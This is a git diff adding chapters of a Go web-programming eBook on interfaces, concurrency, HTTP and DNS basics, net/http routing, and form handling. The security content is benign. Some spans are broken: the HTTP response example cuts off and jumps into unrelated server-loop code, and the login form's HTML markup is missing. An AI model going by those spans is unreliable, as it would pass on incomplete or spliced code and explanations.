SayHi() + Sing(lyrics string) + Guzzle(beerStein string) + } + + type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) + } + + type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) + } + +We know that an interface can be implemented by any type, and one type can implement many interfaces at the same time. + +Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods as default. + +### Value of interface + +So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. + +Like the above example, if we define a variable m as interface Men, then any one of Student, Human or Employee can be assigned to m. So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. + + package main + + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) + } + + func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + // Interface Men implemented by Human, Student and Employee + type Men interface { + SayHi() + Sing(lyrics string) + } + + func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } + } + + +An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. + +### Empty interface + +An empty interface is an interface that doesn't contain any methods, so all types implemented an empty interface. It's very useful when we want to store all types at some point, and is similar to void* in C. + + // define a as empty interface + var a interface{} + var i int = 5 + s := "Hello world" + // a can store value of any type + a = i + a = s + +If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty as its return value type, it can return any type. + +### Method arguments of an interface + +Any variable that can be used in an interface, so we can think about how can we use this feature to pass any type of variable to the function. + +For example, we use fmt.Println a lot, but have you ever noticed that it accepts any type of arguments? Looking at the open source code of fmt, we see the following definition. + + type Stringer interface { + String() string + } + +This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. + + package main + + import ( + "fmt" + "strconv" + ) + + type Human struct { + name string + age int + phone string + } + + // Human implemented fmt.Stringer + func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone + } + + func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) + } + + +Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. + + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + fmt.Println("The biggest one is", boxes.BiggestsColor()) + +Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. + +### Type of variable in an interface + +If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways that I'm going to tell you. + +- Assertion of Comma-ok pattern + +Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where the value is the value of the variable, ok is a variable of boolean type, element is the interface variable and the T is the type of assertion. + +If the element is the type that we expect, ok will be true, false otherwise. + +Let's use an example to see more clearly. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } + } + +It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. + +- switch test + +Let's use `switch` to rewrite the above example. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } + + +One thing you should remember is that `element.(type)` cannot be used outside of `switch` body, which means in that case you have you use pattern `comma-ok`. + +### Embedded interfaces + +The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follows the same rules as anonymous fields. More specifically, if an interface has another interface as the embedded interface, it will have all the methods that the embedded interface has. + +We can see source file in `container/heap` has one definition as follows. + + type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap + } + +We see that `sort.Interface` is an embedded interface, so the above Interface has three methods that in `sort.Interface` implicitly. + + type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) + } + +Another example is the `io.ReadWriter` in package `io`. + + // io.ReadWriter + type ReadWriter interface { + Reader + Writer + } + +### Reflection + +Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. + +There are three steps to use reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). + + t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements + v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value + +After that, we convert reflect types to get values that we need. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + +Finally, if we want to change a value that is from reflect types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + v.SetFloat(7.1) + +Instead, we must use the following code to change value from reflect types. + + var x float64 = 3.4 + p := reflect.ValueOf(&x) + v := p.Elem() + v.SetFloat(7.1) + +I just talked about basic knowledge about reflection, you must pratice more to understand more. + +## Links + +- [Directory](preface.md) +- Previous section: [Object-oriented](02.5.md) +- Next section: [Concurrency](02.7.md) diff --git a/en/eBook/02.7.md b/en/eBook/02.7.md new file mode 100644 index 00000000..fa03448a --- /dev/null +++ b/en/eBook/02.7.md @@ -0,0 +1,242 @@ +# Concurrency + +It is said that Go is the C language of 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. + +## goroutine + +goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to share memory in your goroutines. One goroutine usually uses 4~5 KB stack memory. Therefore, it's not hard to run thousands of goroutines in one computer. A goroutine is more lightweight, more efficient, and more convenient than system threads. + +goroutines run on the thread manager at runtime in Go. We use keyword `go` to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). + + go hello(a, b, c) + +Let's see an example. + + package main + + import ( + "fmt" + "runtime" + ) + + func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } + } + + func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine + } + +Output: + + hello + world + hello + world + hello + world + hello + world + hello + +We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. + +runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. + +The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to use parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. This function may be removed in the future, see more details about parallel processing and concurrency in this [article](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). + +## channels + +goroutines are running in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shell: use channel to send or receive data. The only data type that can be used in channels is the type `channel` and keyword `chan`. Be aware that you have to use `make` to create a new `channel`. + + ci := make(chan int) + cs := make(chan string) + cf := make(chan interface{}) + +channel uses the operator `<-` to send or receive data. + + ch <- v // send v to channel ch. + v := <-ch // receive data from ch, and assign to v + +Let's see more examples. + + package main + + import "fmt" + + func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c + } + + func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) + } + +Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that the goroutine will not continue when it receives data from an empty channel (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue when it sends data to channel (`ch<-5`) until this data is received. + +## Buffered channels + +I introduced non-buffered channels above, and Go also has buffered channels that can store more than one element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. + + ch := make(chan type, n) + + n == 0 ! non-buffer(block) + n > 0 ! buffer(non-block until n elements in the channel) + +You can try the following code on your computer and change some values. + + package main + + import "fmt" + + func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) + } + +## Range and Close + +We can use range to operate on buffer channels as in slice and map. + + package main + + import ( + "fmt" + ) + + func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) + } + + func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } + } + +`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel, you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. + +Remember to always close channel in producers, not in consumers, or it's very easy to get into panic status. + +Another thing you need to remember is that channels are unlike files, and you don't have to close them frequently, unless you are sure the channel is completely useless, or you want to exit range loops. + +## Select + +In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. + +`select` is blocking by default, and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. + + package main + + import "fmt" + + func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } + } + + func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) + } + +`select` has `default` as well, just like `switch`. When all the channels are not ready to use, it executes default (doesn't wait for channel anymore). + + select { + case i := <-c: + // use i + default: + // executes here when c is blocked + } + +## Timeout + +Sometimes a goroutine is blocked, but how can we avoid this to prevent the whole program blocking? We can set a timeout in select to do this. + + func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o + } + +## Runtime goroutine + +The package `runtime` has some functions to deal with goroutines. + +- `runtime.Goexit()` + + Exits the current goroutine, but defer functions will be executed as usual. + +- `runtime.Gosched()` + + Lets the scheduler executes other goroutines, and comes back at some point. + +- `runtime.NumCPU() int` + + Returns number of CPU cores + +- `runtime.NumGoroutine() int` + + Returns number of goroutines + +- `runtime.GOMAXPROCS(n int) int` + + Set how many CPU cores that you want to use + +## Links + +- [Directory](preface.md) +- Previous section: [interface](02.6.md) +- Next section: [Summary](02.8.md) diff --git a/en/eBook/02.8.md b/en/eBook/02.8.md new file mode 100644 index 00000000..4ea20f8f --- /dev/null +++ b/en/eBook/02.8.md @@ -0,0 +1,32 @@ +# 2.8 Summary + +In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +- `var` and `const` are used to define variables and constants. +- `package` and `import` are for package use. +- `func` is used to define functions and methods. +- `return` is used to return values in functions or methods. +- `defer` is used to define defer functions. +- `go` is used to start a new goroutine. +- `select` is used to switch over multiple channels for communication. +- `interface` is used to define interfaces. +- `struct` is used to define special customized types. +- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto`, `default` were introduced in section 2.3. +- `chan` is the type of channel for communication among goroutines. +- `type` is used to define customized types. +- `map` is used to define map which is like hash table in others languages. +- `range` is used for reading data from `slice`, `map` and `channel`. + +If you understand how to use these 25 keywords, you've learned a lot of Go already. + +## Links + +- [Directory](preface.md) +- Previous section: [Concurrency](02.7.md) +- Next chapter: [Web foundation](03.0.md) \ No newline at end of file diff --git a/en/eBook/03.0.md b/en/eBook/03.0.md new file mode 100644 index 00000000..48595244 --- /dev/null +++ b/en/eBook/03.0.md @@ -0,0 +1,9 @@ +#3 Web foundation + +The reason you are reading this book is that you want to learn to build web applications in Go. As I said before, Go provides many powerful packages like `http`. It helps you a lot when you build web applications. I'll teach you everything you should know in following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 2 Summary](02.8.md) +- Next section: [Web working principles](03.1.md) diff --git a/en/eBook/03.1.md b/en/eBook/03.1.md new file mode 100644 index 00000000..f18515c4 --- /dev/null +++ b/en/eBook/03.1.md @@ -0,0 +1,150 @@ +# Web working principles + +Every time you open your browsers, type some URLs and press enter, then you will see the beautiful web pages appear on you screen. But do you know what is happening behind this simple action? + +Normally, your browser is a client, after you typed URL, it sends requests to DNS server, get IP address of the URL. Then it finds the server in that IP address, asks to setup TCP connections. When the browser finished sending HTTP requests, server starts handling your request packages, then return HTTP response packages to your browser. Finally, the browser renders bodies of the web pages, and disconnects from the server. + +![](images/3.1.web2.png?raw=true) + +Figure 3.1 Processes of users visit a website + +A web server also known as a HTTP server, it uses HTTP protocol to communicate with clients. All web browsers can be seen as clients. + +We can divide web working principles to following steps: + +- Client uses TCP/IP protocol to connect to server. +- Client sends HTTP request packages to server. +- Server returns HTTP response packages to client, if request resources including dynamic scripts, server calls script engine first. +- Client disconnects from server, starts rendering HTML. + +This a simple work flow of HTTP affairs, notice that every time server closes connections after sent data to clients, and waits for next request. + +## URL and DNS resolution + +We are always using URL to access web pages, but do you know how URL works? + +The full name of URL is Uniform Resource Locator, this is for describing resources on the internet. Its basic form as follows. + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme assign underlying protocol(such as HTTP, HTTPS, ftp) + host IP or domain name of HTTP server + port# default port is 80, and you can omit in this case. If you want to use other ports, you must to specify which port. For example, http://www.cnblogs.com:8080/ + path resources path + query-string data are sent to server + anchor anchor + +DNS is abbreviation of Domain Name System, it's the name system for computer network services, it converts domain name to actual IP addresses, just like a translator. + +![](images/3.1.dns_hierachy.png?raw=true) + +Figure 3.2 DNS working principles + +To understand more about its working principle, let's see detailed DNS resolution process as follows. + +1. After typed domain name `www.qq.com` in the browser, operating system will check if there is any mapping relationship in the hosts file for this domain name, if so then finished the domain name resolution. +2. If no mapping relationship in the hosts file, operating system will check if there is any cache in the DNS, if so then finished the domain name resolution. +3. If no mapping relationship in the hosts and DNS cache, operating system finds the first DNS resolution server in your TCP/IP setting, which is local DNS server at this time. When local DNS server received query, if the domain name that you want to query is contained in the local configuration of regional resources, then gives back results to the client. This DNS resolution is authoritative. +4. If local DNS server doesn't contain the domain name, and there is a mapping relationship in the cache, local DNS server gives back this result to client. This DNS resolution is not authoritative. +5. If local DNS server cannot resolve this domain name either by configuration of regional resource or cache, it gets into next step depends on the local DNS server setting. If the local DNS server doesn't enable forward mode, it sends request to root DNS server, then returns the IP of top level DNS server may know this domain name, `.com` in this case. If the first top level DNS server doesn't know, it sends request to next top level DNS server until the one that knows the domain name. Then the top level DNS server asks next level DNS server for `qq.com`, then finds the `www.qq.com` in some servers. +6. If the local DNS server enabled forward mode, it sends request to upper level DNS server, if the upper level DNS server also doesn't know the domain name, then keep sending request to upper level. Whether local DNS server enables forward mode, server's IP address of domain name returns to local DNS server, and local server sends it to clients. + +![](images/3.1.dns_inquery.png?raw=true) + +Figure 3.3 DNS resolution work flow + +`Recursive query process` means the enquirers are changing in the process, and enquirers do not change in `Iterative query process`. + +Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. + +## HTTP protocol + +HTTP protocol is the core part of web services. It's important to know what is HTTP protocol before you understand how web works. + +HTTP is the protocol that used for communicating between browsers and web servers, it is based on TCP protocol, and usually use port 80 in the web server side. It is a protocol that uses request-response model, clients send request and servers response. According to HTTP protocol, clients always setup a new connection and send a HTTP request to server in every affair. Server is not able to connect to client proactively, or a call back connection. The connection between the client and the server can be closed by any side. For example, you can cancel your download task and HTTP connection. It disconnects from server before you finish downloading. + +HTTP protocol is stateless, which means the server has no idea about the relationship between two connections, even though they are both from same client. To solve this problem, web applications use Cookie to maintain sustainable state of connections. + +Because HTTP protocol is based on TCP protocol, so all TCP attacks will affect the HTTP communication in your server, such as SYN Flood, DoS and DDoS. + +### HTTP request package (browser information) + +Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. + + GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version + Host:www.iana.org // domain name + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 // browser information + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mine that clients can accept + Accept-Encoding:gzip,deflate,sdch // stream compression + Accept-Charset:UTF-8,*;q=0.5 // character set in client side + // blank line + // body, request resource arguments (for example, arguments in POST) + +We use fiddler to get following request information. + +![](images/3.1.http.png?raw=true) + +Figure 3.4 Information of GET method caught by fiddler + +![](images/3.1.httpPOST.png?raw=true) + +Figure 3.5 Information of POST method caught by fiddler + +**We can see that GET method doesn't have request body that POST does.** + +There are many methods you can use to communicate with servers in HTTP, and GET, POST, PUT, DELETE are the basic 4 methods that we use. A URL represented a resource on the network, so these 4 method means query, change, add and delete operations. GET and POST are most commonly used in HTTP. GET appends data to the URL and uses `?` to break up them, uses `&` between arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because URL has length limitation by browsers, so POST can submit much more data than GET method. Also when we submit our user name and password, we don't want this kind of information appear in the URL, so we use POST to keep them invisible. + +### HTTP response package (server information) + +Let's see what information is contained in the response packages. + + HTTP/1.1 200 OK // status line + Server: nginx/1.0.8 // web server software and its version in the server machine + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time + Content-Type: text/html // responded data type + Transfer-Encoding: chunked // it means data were sent in fragments + Connection: keep-alive // keep connection + Content-Length: 90 // length of body + // blank line + max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + + +How to accept client requests after listened to the port? In the source code, we can see that it calls `srv.Serve(net.Listener)` to handle client requests. In body of function there is a `for{}`, it accepts request, creates a new connection, and then starts a new goroutine, and passes request data to this goroutine: `go c.serve()`. This is how Go supports high concurrency, and every goroutine is independent. + +Now, how to use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, and get corresponding handler: `handler := c.server.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, so Go uses it's default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, this is the variable of router at this time, it calls handler functions for specific URLs. Did we setting this? Yes, we did. Remember in the first line we used `http.HandleFunc("/", sayhelloName)`. It's like you use this function to register the router rule for "/" path. When the URL is `/`, router calls function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler function for different path, and it calls `sayhelloName` in this case. Finally, server writes data and response to clients. + +Detailed work flow: + +![](images/3.3.illustrator.png?raw=true) + +Figure 3.10 Work flow of handling a HTTP request + +I think you should know how Go runs web servers now. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a simple web server](03.2.md) +- Next section: [Get into http package](03.4.md) diff --git a/en/eBook/03.4.md b/en/eBook/03.4.md new file mode 100644 index 00000000..b367689b --- /dev/null +++ b/en/eBook/03.4.md @@ -0,0 +1,135 @@ +# 3.4 Get into http package + +In previous sections, we learned the work flow of web, and talked about a little about `http` package. In this section, we are going to learn two core functions in `http` package: Conn, ServeMux. + +## goroutine in Conn + +Unlike normal HTTP servers, Go uses goroutine for every affair that created by Conn in order to achieve high concurrency and performance, so every affair is independent. + +Go uses following code to wait for new connections from clients. + + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + +As you can see, it creates goroutine for every connection, and passes handler that is able to read data from request to the goroutine. + +## Customized ServeMux + +We used default router in previous section when talked about conn.server, the router passed request data to back-end handler. + +The struct of default router: + + type ServeMux struct { + mu sync.RWMutex // because of concurrency, we have to use mutex here + m map[string]muxEntry // router rules, every string mapping to a handler + } + +The struct of muxEntry: + + type muxEntry struct { + explicit bool // exact match or not + h Handler + } + +The interface of Handler: + + type Handler interface { + ServeHTTP(ResponseWriter, *Request) // routing implementer + } + +`Handler` is a interface, but the function `sayhelloName` didn't implement this interface, why could we add it as handler? Because there is another type `HandlerFunc` in `http` package. We called `HandlerFunc` to define our `sayhelloName`, so `sayhelloName` implemented `Handler` at the same time. it's like we call `HandlerFunc(f)`, and function `f` is forced converted to type `HandlerFunc`. + + type HandlerFunc func(ResponseWriter, *Request) + + // ServeHTTP calls f(w, r). + func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) + } + +How the router calls handlers after we set router rules? + +The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls `ServeHTTP` interface of handlers. + +Now, let's see how `mux.handler` works. + + func (mux *ServeMux) handler(r *Request) Handler { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + h := mux.match(r.Host + r.URL.Path) + if h == nil { + h = mux.match(r.URL.Path) + } + if h == nil { + h = NotFoundHandler() + } + return h + } + +The router uses URL as a key to find corresponding handler that saved in map, and calls handler.ServeHTTP to execute functions to handle data. + +You should understand the router work flow now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized router, it's a interface of `Handler`. Therefore, any router implements interface `Handler` that can be used. + +The following example shows how to implement a simple router. + + package main + + import ( + "fmt" + "net/http" + ) + + type MyMux struct { + } + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return + } + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") + } + + func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) + } + +## Go code execution flow + +Let's take a look at the list of whole execution flow. + +- Call `http.HandleFunc` + 1. Call HandleFunc of DefaultServeMux + 2. Call Handle of DefaultServeMux + 3. Add router rules to map[string]muxEntry of DefaultServeMux +- Call `http.ListenAndServe(":9090", nil)` + 1. Instantiated Server + 2. Call ListenAndServe of Server + 3. Call net.Listen("tcp", addr) to listen to port. + 4. Start a loop, and accept requests in loop body. + 5. Instantiated a Conn and start a goroutine for every request: `go c.serve()`. + 6. Read request data: `w, err := c.readRequest()`. + 7. Check handler is empty or not, if it's empty then use DefaultServeMux. + 8. Call ServeHTTP of handler. + 9. Execute code in DefaultServeMux in this case. + 10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)` + 11. How to choose handler: + A. Check router rules for this URL. + B. Call ServeHTTP in that handler if there is one. + C. Call ServeHTTP of NotFoundHandler otherwise. + +## Links + +- [Directory](preface.md) +- Previous section: [How Go works with web](03.3.md) +- Next section: [Summary](03.5.md) diff --git a/en/eBook/03.5.md b/en/eBook/03.5.md new file mode 100644 index 00000000..4c37f6d2 --- /dev/null +++ b/en/eBook/03.5.md @@ -0,0 +1,11 @@ +# 3.5 Summary + +In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web server for us by looking at source code of package `net/http`. + +I hope you know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Get into http package](03.4.md) +- Next chapter: [User form](04.0.md) \ No newline at end of file diff --git a/en/eBook/04.0.md b/en/eBook/04.0.md new file mode 100644 index 00000000..ddbadca1 --- /dev/null +++ b/en/eBook/04.0.md @@ -0,0 +1,23 @@ +# 4 User form + +User form is the tool that is commonly used when we develop web applications, it provides ability to communicate between clients and servers. You must know form very much if you are web developers; if you are C/C++ programmers, you may want to ask: what is the user form? + +Form is the area that contains form elements. Users can input information in these elements, like text box, drop down list, radio buttons, check box, etc. We use form tag `
` to define form. + + + ... + input elements + ... +
+ +Go has already had many convenient functions to deal with use form, like you can easily get form data in HTTP requests, and there are easy to integrate to your own web applications. In section 4.1, we are going to talk about how to handle form data in Go, and because you cannot believe any data from clients, you have to verify data before use them. After that, we will show some examples about verifying form data in section 4.2. + +We say that HTTP is stateless, how can we identify that these forms are from same user? And how to make sure that one form can only be submitted once? We have more detailed explanation about Cookie (Cookie is the information that can be saved in the client side, and put in the request header when the request is sent to the server) in both sections 4.3 and 4.4. + +Another big feature of form is uploading files. In section 4.5, you will learn how to use this feature and control file size before it starts uploading in Go. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 3 Summary](03.5.md) +- Next section: [Process form inputs](04.1.md) diff --git a/en/eBook/04.1.md b/en/eBook/04.1.md new file mode 100644 index 00000000..5f1d2410 --- /dev/null +++ b/en/eBook/04.1.md @@ -0,0 +1,107 @@ +# 4.1 Process form inputs + +Before we start talking, let's take a look a simple example of use form, save it as `login.gtpl` in your project folder. + + + + + + +
+ Username: + Password: + +
+ + + +This form will submit to `/login` in server. After user clicked log in button, the data will be sent to `login` handler in server router. Then we need to know it uses POST method or GET. + +It's easy to know through `http` package, let's see how to handle form data in log in page. + + package main + + import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response + } + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } + } + + func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + + +Now we know use `r.Method` to get request method, and it returns a string like "GET", "POST", "PUT", etc. + +In function `login`, we use `r.Method` to check if it's a log in page or log in process logic, which means you just open this page, or you are trying to log in. Serve shows page only when it uses GET method, process log in logic when it uses POST method. + +You should see following interface after you opened `http://127.0.0.1:9090/login` in your browser. + +![](images/4.1.login.png?raw=true) + +Figure 4.1 User log in interface + +Server will not print anything after we typed user name and password because handler doesn't parse form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile and test again. You should see information is printed in server side now. + +`r.Form` contains all request arguments, like query-string in URL, data in POST and PUT. If the data have conflicts like have same name, it will save into a slice with multiple values. In Go documentation, it says Go will save data of GET and POST in different places. + +Try to change value of action in form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in file `login.gtpl`, test again, and you will see the slice is printed in server side. + +![](images/4.1.slice.png?raw=true) + +Figure 4.2 Server prints request data + +The type of `request.Form` is `url.Value`, it saves data with format `key=value`. + + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + 